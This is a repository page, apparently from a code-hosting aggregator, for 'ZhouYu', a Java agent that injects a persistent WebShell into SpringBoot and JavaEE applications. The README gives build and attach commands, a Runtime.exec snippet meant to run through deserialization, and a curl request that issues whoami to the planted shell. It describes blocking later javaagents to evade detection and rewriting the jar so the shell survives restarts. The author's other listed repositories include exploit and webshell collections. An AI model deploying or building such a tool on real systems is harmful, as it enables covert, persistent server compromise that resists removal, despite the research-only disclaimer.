• Stars
    star
    578
  • Rank 77,250 (Top 2 %)
  • Language
    Java
  • License
    Apache License 2.0
  • Created over 3 years ago
  • Updated almost 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

(周瑜)Java - SpringBoot 持久化 WebShell 学习demo(不仅仅是SpringBoot,适合任何符合JavaEE规范的服务)

工具仅用于安全研究,禁止使用工具发起非法攻击,造成的后果使用者负责

ZhouYu -> 周瑜

Java - SpringBoot 持久化 WebShell(适配任何符合JavaEE规范的服务)

背景:后Spring时代,SpringBoot jar部署模式下,一般没有了JSP,所有的模板都在jar内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用JVMTI重加载class的javaagent方式),并且重启后丢失!

  1. ZhouYu带来新的webshell写入手法,通过javaagent,利用JVMTI机制,在回调时重写class类,插入webshell,并通过阻止后续javaagent加载的方式,防止webshell被查杀

  2. 修改的class类插入webshell后,通过持久化到jar进行class替换,达到webshell持久化,任你如何重启都无法甩掉

一、打包编译

命令:

gradle :agent:shadowJar

./gradlew :agent:shadowJar

编译后得到 agent/build/libs/agent-1.0-SNAPSHOT-all.jar,即ZhouYu.jar

二、使用方式

两种场景:

  1. 当你知道jvm pid时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多
java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!
  1. 能执行一小段代码(内存shell的原理一般是反序列化时加载一段恶意字节码)

先把编译后得到的ZhouYu.jar写到临时目录,例:/tmp/ZhouYu.jar

接着执行下面代码:

try {
  String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
  int indexOf = pid.indexOf('@');
  if (indexOf > 0) {
    pid = pid.substring(0, indexOf);
    Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
  }
} catch (Throwable throwable) {

}
  1. 执行命令
curl -XGET "http://127.0.0.1:8080?cmd=whoami"

WARNNING

为了防止出现生产事故,在对原有jar(A.jar)进行替换修改前,会对其进行备份,备份到当前目录下(命名为.A.jar.bk)

More Repositories

1

learnjavabug

Java安全相关的漏洞和技术demo,原生Java、Fastjson、Jackson、Hessian2、XML反序列化漏洞利用和Spring、Dubbo、Shiro、CAS、Tomcat、RMI、Nexus等框架\中间件\功能的exploits以及Java Security Manager绕过、Dubbo-Hessian2安全加固等等实践代码。
Java
2,567
star
2

JSP-WebShells

Collect JSP webshell of various implementation methods. 收集JSP Webshell的各种姿势
Java
1,332
star
3

tomcat-cluster-session-sync-exp

tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。PS:这个不是CVE-2020-9484,9484是session持久化的洞,这个是session集群同步的洞!
Java
215
star
4

log-agent

利用agent hock指定的class,在jar运行周期内,用于跟踪被执行的方法,辅助做一些事情,比如挖洞啊
Java
127
star
5

dubbo-exp

dubbo快速利用exp,基本上老版本覆盖100%。
Java
103
star
6

FindClassInJars

个人用于在自动化挖掘gadget时,方便查找gadget chains中class所在jar包,以助于便捷审计测试gadget有效性的那么一个小工具。
Java
61
star
7

GuanYu

JVM runtime class loading protection agent.(JVM类加载保护agent)
Java
47
star
8

wxwork-sdk-utils

企业微信工具包(机器人webhook utils),封装起来,使各种类型的消息构建更加简单,并加入推送工具,一步到位。
Java
17
star
9

jar-compatibility-detector

安全升级jar包时,辅助检测Java Archive (JAR) 包之间兼容性
Java
14
star
10

Path-Scan

Java版的web路径扫描器,可配置线程数(默认32线程),以及连接超时、读取超时时间(在网络情况糟糕时自定义配置,默认连接超时时间1ms)
Java
5
star
11

threedr3am.github.io

HTML
5
star
12

wx-work-robots-docker

瞎写玩玩~~~
Shell
2
star
13

cas-server-base

cas
CSS
1
star
14

threedr3am

1
star